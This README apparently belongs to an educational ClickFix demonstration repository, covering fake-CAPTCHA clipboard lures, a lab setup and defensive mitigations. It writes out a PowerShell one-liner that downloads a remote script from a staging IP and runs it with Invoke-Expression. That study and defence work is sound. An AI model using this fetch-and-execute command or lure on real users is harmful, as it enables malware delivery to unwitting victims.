🐉 ClickFix Attack Demonstration & Defensive Analysis

---

⚠️ Disclaimer & Educational Notice

THIS REPOSITORY IS FOR EDUCATIONAL AND RESEARCH PURPOSES ONLY

This repository provides an architectural breakdown and harmless proof-of-concept for the ClickFix social engineering technique—a vector where adversaries lure users into manually executing commands via the system run prompt.

Key Safety Principles:

• All demonstration scripts in this repository are non-destructive and strictly educational.
• The demonstration payload creates a non-executable text file on the Desktop for auditing purposes only.
• No sensitive data is gathered, transmitted, or modified.
• Never execute untrusted scripts or commands on production environments or systems without explicit authorization.

---

🔍 What is a ClickFix Attack?

ClickFix (frequently associated with fake verification or CAPTCHA prompts) is a social engineering tactic designed to bypass traditional browser-based file download security controls. Rather than downloading an executable file directly, the attack tricks the user into manually copying and executing a command line string.

How the Flow Works:

1. Lure: The user visits a compromised or malicious web page displaying a fake verification check (e.g., reCAPTCHA or system error message).
2. Clipboard Manipulation: Interacting with the fake prompt automatically copies a command to the operating system's clipboard.
3. User Execution: The page instructs the user to open the Windows Run dialog (Win + R), paste (Ctrl + V), and press Enter.
4. Execution: The command invokes a built-in administrative tool (such as PowerShell) to fetch and run remote code directly in memory.

Why It Succeeds:

• Bypasses Browser Warnings: No file is directly downloaded through the browser, avoiding standard web-download prompts.
• Abuses Trusted Windows Utilities (LOLBins): Uses legitimate administrative binaries like powershell.exe or mshta.exe.
• Exploits User Trust: Users believe they are performing a necessary troubleshooting or verification step.

---

📁 Repository Structure

ClickFix-Demo/
│
├── README.md                 # Project documentation & analysis
├── LICENSE                   # MIT License
│
├── index.html                # Educational demonstration web interface
├── payload.ps1               # Non-destructive proof-of-concept script
└── server.js                 # Lightweight HTTP server for laboratory testing

---

🛠️ Component Breakdown

1. index.html — Demonstration Interface

• Role: Simulates the user-facing verification dialog.
• Mechanism: Uses JavaScript clipboard access (navigator.clipboard.writeText) to stage the command string when the user clicks the interactive element.

2. payload.ps1 — Proof-of-Concept Payload

• Role: Represents the payload fetched by the system.
• Mechanism: Non-destructive PowerShell script that creates an informational text file (HACKED_BY_CLICKFIX.txt) on the user's Desktop to verify execution during security demonstrations.

3. server.js — Local Test Server

• Role: Staging environment hosted on a local testing instance (e.g., Kali Linux).
• Mechanism: Serves static files and logs incoming HTTP HTTP requests to demonstrate how attackers observe successful staging connections.

---

🚀 Lab Setup & Demonstration

Note: Perform all security demonstrations inside an isolated virtual machine environment.

Prerequisites

• Attacker Staging Machine (e.g., Kali Linux / Node.js host):

  sudo apt update && sudo apt install nodejs npm -y

• Target Test Environment (Windows VM):

  • Modern web browser (Edge, Chrome, or Firefox).
  • Isolated network connection to the staging machine.

---

Step-by-Step Walkthrough

Step 1: Launch the Staging Server

On your isolated staging machine, start the HTTP server:

node server.js

Verify your local IP address:

ip a

Step 2: Access the Demonstration Interface

1. Open index.html in the target environment browser.
2. Interact with the verification interface.
3. The interface will stage the download command to the clipboard and display instructions.

Step 3: Analyze Command Execution

The staged clipboard string follows this common administrative download pattern:

powershell -Command "Invoke-Expression (New-Object Net.WebClient).DownloadString('http://<STAGING_IP>:8080/payload.ps1')"

Component	Technical Function
powershell	Launches the Windows PowerShell interpreter.
-Command	Directs PowerShell to execute the following string.
Net.WebClient	Instantiates a standard .NET web client object.
DownloadString()	Downloads the remote script content directly into memory.
Invoke-Expression	Evaluates/executes the downloaded script string.

---

🛡️ Mitigation & Defense Strategies

1. User Awareness Training

• Key Rule: Never execute commands in Win + R or PowerShell that originate from web browsers or untrusted clipboard sources.
• Red Flag: Legitimate CAPTCHAs and websites never require opening system execution dialogs or running terminal commands.

2. Endpoint Detection & Policy Controls

• PowerShell Constrained Language Mode: Limit PowerShell execution privileges for standard enterprise users.
• Attack Surface Reduction (ASR) Rules: Enable Microsoft Defender ASR rules to block credential stealing and process creations originating from command-line tools.
• Script Block Logging: Enable PowerShell Logging (Event ID 4104) to monitor and alert on Invoke-Expression (IEX) execution patterns.

---

📜 License

This project is licensed under the MIT License.

---

🔗 References & Further Reading

• CISA Security Advisories on Social Engineering
• MITRE ATT&CK Framework: User Execution (T1204)
• Microsoft PowerShell Security Documentation